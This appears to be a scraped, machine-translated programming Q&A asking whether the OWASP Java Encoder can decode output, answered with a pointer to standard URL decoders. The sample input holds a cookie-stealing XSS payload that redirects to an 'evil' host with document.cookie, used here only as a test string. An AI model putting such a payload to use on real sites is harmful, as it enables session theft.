Javascript OWASP Java编码器是否具有任何解码功能?
我使用OWASP编码器的Javascript OWASP Java编码器是否具有任何解码功能?,javascript,java,url-encoding,owasp,Javascript,Java,Url Encoding,Owasp,我使用OWASP编码器的forURIComponent方法对下面的查询字符串进行编码 String query=“query=hello”}; window.location=http://evil?“+document.cookie;va&r-b={/]”; 字符串encodedQuery=Encode.forUriComponent(查询); 现在我需要解码encodedQuery,解码后的字符串应该与原始查询完全相同。我如何才能做到这一点?我想你说的是。据我所知,它不提供任何解码功能 但
forURIComponent
方法对下面的查询字符串进行编码
String query=“query=hello”};
window.location=http://evil?“+document.cookie;va&r-b={/]”;
字符串encodedQuery=Encode.forUriComponent(查询);
现在我需要解码
encodedQuery
,解码后的字符串应该与原始查询完全相同。我如何才能做到这一点?我想你说的是。据我所知,它不提供任何解码功能
但是,由于Encode.forUriComponent()
方法实现了标准,因此您可以使用任何正确实现的URL解码函数对其进行解码
但是,如果您需要解析包含(可能)多个参数的URI,您可能会发现该类(或)更便于使用